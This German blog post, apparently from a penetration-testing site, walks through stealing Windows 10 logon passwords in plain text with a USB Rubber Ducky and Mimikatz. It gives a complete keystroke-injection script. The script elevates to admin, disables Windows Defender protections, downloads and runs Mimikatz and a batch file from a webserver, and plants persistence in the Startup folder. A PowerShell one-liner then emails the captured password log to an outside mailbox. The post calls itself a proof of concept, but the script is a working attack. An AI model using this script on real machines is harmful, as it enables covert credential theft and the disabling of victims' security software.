Die Entwickler vom Mimikatz haben eine neue Version ihrer Software veröffentlicht. Nachdem das Auslesen der Passwörter in Klartext unter Windows 10 (1803 und 1809) und damit der Passwort Hack nicht mehr funktionierte, mussten sie reagieren.
In diesem Beitrag erkläre ich, wie man Windows 10 Passwörter in Klartext mit Hilfe des USB Rubber Ducky auslesen kann.
Die Entwickler bei Microsoft haben natürlich sofort reagiert und das zum Download angebotene Programm als Malware eingestuft. Der Windows Defender erkennt die Software als Behavior:Win32/Mikatz.gen!C bzw. HackTool:Win32/Mimikatz.E
Dies erschwert natürlich den Einsatz ein wenig. Mir fallen spontan zwei Möglichkeiten ein, die Software auf einem aktuellen Windows 10-System zu testen. Man könnte z.B. den mitgelieferten Quellcode nutzen, ihn ein wenig verändern und dann neu kompilieren. Ein Angreifer könnte auch den Virenschutz temporär abschalten, um Mimikatz einzusetzen. Da ich in einem früheren Test diesen Weg bereits gewählt hatte, entscheide ich mich für die zweite Möglichkeit. Als Hilfsmittel kommt wieder der USB Rubber Ducky zum Einsatz.
Ich möchte mit Hilfe des Ducky das Passwort des angemeldeten Nutzers in Klartext auslesen und per E-Mail an einen Mailserver senden. Das folgende Bild beschreibt meine Vorgehensweise:
Vorbereitende Maßnahmen:
Damit der der Windows 10 Passwort Hack funktioniert, hinterlege ich die heruntergeladene Datei Mimikatz.exe und eine Batchdatei auf einem Webserver. Diese enthält Anweisungen zum Versand der Logdatei (mimilsa.log), die beim Ausführen von Mimikatz im Verzeichnis C:\Windows\System32 angelegt wird. Sie enthält später die Passwörter. Die Batchdatei zum Versenden einer E-Mail mittels Google-Mail könnte wie folgt aussehen:
powershell.exe -NoP -NonI -W Hidden -Command "Send-MailMessage -From "absender@gmail.com" -to 'empfaenger@domaene.com' -Attachments C:WindowsSystem32mimilsa.log -Subject "Windows_Passwords" -Body 'Pentestit.de Proof of Concept' -SmtpServer 'smtp.gmail.com' -Credential (New-Object PSCredential('absender@gmail.com',(ConvertTo-SecureString 'password' -AsPlainText -Force))) -UseSSL -Port 587"
Skript erstellen:
Das Ducky-Skript enthält allen Anweisungen, die für diesen Hack notwendig sind. Zur besseren Veranschaulichung habe ich die Zeilen durchnummeriert.
Zeile 13-18
Hier wird Powershell in der Konsole mit administrativen Rechten gestartet.
Zeile 23
Hier setzen wir den Windows Defender zeitweilig außer Kraft. Dies sollte eine kurze Zeit anhalten. Manchmal bleibt dieser Zustand bis zu einem Neustart des PC erhalten. Die Zeit reicht auf alle Fälle aus, um Mimikatz herunterzuladen und zu starten.
Zeile 26-35
Mit diesen Befehlen laden Sie die Batchdatei email.bat (zum Versand der E-Mail) herunter und speichern diese als setup.bat im Autostart-Verzeichnis des angemeldeten Nutzers ab. Danach wird Mimikatz heruntergeladen und ausgeführt.
Zeile 42
Hiermit wird Mimikatz im Arbeitsspeicher ausgeführt. Nun können alle Fenster geschlossen werden.
Zeile 53
Mit dieser Tastenkombination sperren Sie den Bildschirm, sodass ein Nutzer ein Passwort eingeben muss, um den Computer zu nutzen. Dieses Passwort wird nun in die Logdatei von Mimikatz geschrieben. Beim nächsten Neustart des PC wird diese Datei dann an den Angreifer verschickt.
[code]
REM Get Logonpasswords from Windows 10 (1809)
REM Author: Pentestit.de 12/12/2018
REM You take responsibility for any laws you break with this,
REM I simply point out the security flaw
REM
REM Start of script
REM
REM Let the HID enumerate
DELAY 2000
GUI r
DELAY 200
REM Run PowerShell and use UAC to escalate priviliges
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 4000
TAB
TAB
ENTER
DELAY 3000
REM Disable Defender temporally
REM find more information here
REM https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=win10-ps
STRING Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -DisableBlockAtFirstSeen $true -DisableBehaviorMonitoring $true -MAPSReporting 0
ENTER
DELAY 3000
REM Download E-Mail-Script from Webserver
STRING $down = New-Object System.Net.WebClient; $url = ‘http://webserver/email.bat’; $file = ‘setup.bat’; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file);
ENTER
DELAY 3000
REM Copy E-Mail-Script to StartUp Folder
STRING copy-item C:\Windows\System32\setup.bat $env:APPDATA\”Microsoft\Windows\Start Menu\Programs\Startup”
ENTER
DELAY 1000
REM Download Mimikatz (exe) from Webserver
STRING $down = New-Object System.Net.WebClient; $url = ‘http://webserver/mimikatz.exe’; $file = ‘mimikatz.exe’; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file);
ENTER
DELAY 3000
REM Prepare Mimikatz
STRING privilege::debug
ENTER
DELAY 1000
STRING misc::memssp
ENTER
DELAY 1000
REM Close all windows
STRING exit
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000
REM Lock Screen
GUI l
[/code]
Das nachfolgende Video zeigt die Vorgehensweise im Windows 10 Passwort Hack: